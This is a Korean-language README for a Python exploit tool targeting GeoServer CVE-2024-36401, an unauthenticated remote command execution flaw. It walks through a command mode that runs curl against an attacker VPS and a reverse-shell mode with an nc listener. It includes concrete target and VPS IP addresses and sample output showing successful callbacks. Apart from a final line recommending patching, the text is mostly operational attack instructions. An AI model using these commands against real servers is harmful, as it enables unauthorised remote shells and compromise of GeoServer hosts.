
"GeoServer"용 Python Exp
CVE-2024-36401은 GeoServer의 원격 명령 실행 취약점으로, 공격자는 특정 WFS(Web Feature Service) 요청을 구성하여 인증 없이 임의 명령을 실행할 수 있습니다.
pip install requests이 도구는 cmd 모드(직접 명령 실행)와 reverse 모드(리버스 셸 생성) 두 가지 사용 모드를 지원합니다.
VPS 주소가 111.46.112.85라고 가정하고,
cmd 모드로 curl 명령을 실행하여 대상 서버가 외부 네트워크에 접근할 수 있는지 테스트합니다:
python exp.py cmd "8.147.134.121:32831" "curl http://111.46.112.85:8090/hello"
검증 방법: VPS에서 HTTP 서버를 시작하여 요청을 수신합니다
# VPS에서 실행
python -m http.server 8090
콜백 정보를 성공적으로 수신하면 다음과 유사한 출력이 표시됩니다:
Serving HTTP on 0.0.0.0 port 8090 (http://0.0.0.0:8090/) ...
39.106.20.178 - - [04/Oct/2025 17:22:30] code 404, message File not found
39.106.20.178 - - [04/Oct/2025 17:22:30] "GET /hello HTTP/1.1" 404 -
reverse 모드를 사용하여 지정된 VPS 및 포트로 리버스 셸 연결을 설정합니다:
1단계: VPS에서 리슨 포트 설정
# VPS에서 실행
nc -lvp 6666
2단계: 취약점 활용 도구를 실행하여 리버스 연결 시작
python exp.py reverse "8.147.134.121:32831" 111.46.112.85 6666
실행 후 도구는 다음과 유사한 출력을 표시합니다:
[+] Response Status: 400
[+] Response Length: 1121
<?xml version="1.0" encoding="UTF-8"?><ows:ExceptionReport xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:ows="http://www.opengis.net/ows/1.1" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" version="2.0.0" xsi:schemaLocation="http://www.opengis.net/ows/1.1 http://8.147.134.121:32831/geoserver/schemas/ows/1.1.0/owsAll.xsd">
<ows:Exception exceptionCode="NoApplicableCode">
<ows:ExceptionText>java.lang.ClassCastException: class java.lang.ProcessImpl cannot be cast to class org.opengis.fea
이때 활용에 성공하면 VPS의 nc 리슨이 리버스 셸 세션을 수신하게 됩니다.
Usage:
python exp.py cmd <target> <command>
python exp.py reverse <target> <vps_ip> <vps_port>
cmd: 단일 명령 실행 모드reverse: 리버스 셸 모드<target>: 대상 서버 주소 및 포트, 형식은 ip:port<command>: 대상 서버에서 실행할 명령<vps_ip>: VPS 서버의 IP 주소<vps_port>: VPS에서 리슨하는 포트 번호이 취약점은 GeoServer WFS 서비스의 보안 결함을 이용하며, valueReference에 Java 코드를 주입하여 시스템 명령을 실행합니다. 도구는 악성 코드가 포함된 XML Payload를 구성하여 GeoServer의 WFS 인터페이스로 전송함으로써 원격 명령 실행을 달성합니다.
/geoserver/wfs 필드를 해당 내용으로 수정해야 할 수 있습니다.GeoServer를 공식 보안 버전으로 신속하게 업데이트하고, 보안 모범 사례에 따라 서버를 구성하십시오.